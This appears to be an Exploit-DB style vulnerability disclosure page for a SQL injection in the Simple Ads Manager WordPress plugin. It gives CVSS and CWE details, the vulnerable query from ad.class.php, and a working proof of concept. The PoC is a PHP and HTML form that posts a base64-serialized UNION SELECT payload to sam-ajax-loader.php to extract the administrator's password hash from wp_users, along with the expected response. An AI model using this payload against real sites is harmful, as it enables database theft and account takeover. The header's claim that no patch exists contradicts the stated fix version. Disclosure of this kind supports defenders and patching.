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vendor:
Simple Ads Manager
by:
Kacper Szurek
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Simple Ads Manager
Affected Version From: 2.9.2004
Affected Version To: 2.9.4.116
Patch Exists: NO
Related CWE:
CPE: a:simple_ads_manager_project:simple_ads_manager:2.9.4
Metasploit:
Other Scripts:
Platforms Tested: WordPress
2015

Simple Ads Manager 2.9.4.116 SQL Injection

$whereClause and $whereClauseT and $whereClauseW and $whereClause2W variables are not properly escaped in the ad.class.php file of Simple Ads Manager plugin.

Mitigation:

The vendor should properly sanitize and escape the input variables to prevent SQL injection attacks. Users should update to the latest version of the plugin to mitigate this vulnerability.
Source

Exploit-DB raw data:

/*
# Exploit Title: Simple Ads Manager 2.9.4.116 SQL Injection
# Date: 30-12-2015
# Software Link: https://wordpress.org/plugins/simple-ads-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

$whereClause and $whereClauseT and $whereClauseW and $whereClause2W are not escaped.

File: simple-ads-manager\ad.class.php

$aSql = "
	(SELECT
	  @pid := sp.id AS pid,
	  0 AS aid,
	  sp.name,
	  sp.patch_source AS code_mode,
	  @code_before := sp.code_before AS code_before,
	  @code_after := sp.code_after AS code_after,
	  @ad_size := IF(sp.place_size = \"custom\", CONCAT(CAST(sp.place_custom_width AS CHAR), \"x\", CAST(sp.place_custom_height AS CHAR)), sp.place_size) AS ad_size,
	  sp.patch_code AS ad_code,
	  sp.patch_img AS ad_img,
	  \"\" AS ad_alt,
	  0 AS ad_no,
	  sp.patch_link AS ad_target,
	  0 AS ad_swf,
	  \"\" AS ad_swf_flashvars,
	  \"\" AS ad_swf_params,
	  \"\" AS ad_swf_attributes,
	  \"\" AS ad_swf_fallback,
	  sp.patch_adserver AS ad_adserver,
	  sp.patch_dfp AS ad_dfp,
	  0 AS count_clicks,
	  0 AS code_type,
	  IF((sp.patch_source = 1 AND sp.patch_adserver) OR sp.patch_source = 2, -1, 1) AS ad_cycle,
	  @aca := IFNULL((SELECT AVG(sa.ad_weight_hits*10/(sa.ad_weight*$cycle)) FROM $aTable sa WHERE sa.pid = @pid AND sa.trash IS NOT TRUE AND {$whereClause} {$whereClauseT} {$whereClause2W}), 0) AS aca
	FROM {$pTable} sp
	WHERE {$pId} AND sp.trash IS FALSE)
	UNION
	(SELECT
	  sa.pid,
	  sa.id AS aid,
	  sa.name,
	  sa.code_mode,
	  @code_before AS code_before,
	  @code_after AS code_after,
	  @ad_size AS ad_size,
	  sa.ad_code,
	  sa.ad_img,
	  sa.ad_alt,
	  sa.ad_no,
	  sa.ad_target,
	  sa.ad_swf,
	  sa.ad_swf_flashvars,
	  sa.ad_swf_params,
	  sa.ad_swf_attributes,
	  sa.ad_swf_fallback,
	  0 AS ad_adserver,
	  0 AS ad_dfp,
	  sa.count_clicks,
	  sa.code_type,
	  IF(sa.ad_weight, (sa.ad_weight_hits*10/(sa.ad_weight*$cycle)), 0) AS ad_cycle,
	  @aca AS aca
	FROM {$aTable} sa
	WHERE sa.pid = @pid AND sa.trash IS FALSE AND {$whereClause} {$whereClauseT} {$whereClauseW})
	ORDER BY ad_cycle
	LIMIT 1;";

http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html

2. Proof of Concept
*/

<?php
$out = array();
$out['WC'] = '1=0';
$out['WCT'] = '';
$out['WCW'] = ') UNION (SELECT user_pass, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2 FROM wp_users WHERE ID = 1';
$out['WC2W'] = '';
?>
<form method="post" action="http://wp-url/wp-content/plugins/simple-ads-manager/sam-ajax-loader.php">
<input type="hidden" name="action" value="load_place">
<input type="hidden" name="id" value="0">
<input type="hidden" name="pid" value="1">
<input type="text" name="wc" value="<?php echo base64_encode(serialize($out)); ?>">
<input type="submit" value="Send">
</form>

/*
Administrator password will be here:

{"success":true,"ad":"<div id='c2077_1_%here_is_password%' class='sam-container sam-place' data-sam='0'><\/div>","id":"1","pid":"%here_is_password%","cid":"c2077_1_%here_is_password%"}

3. Solution:
   
Update to version 2.9.5.118
*/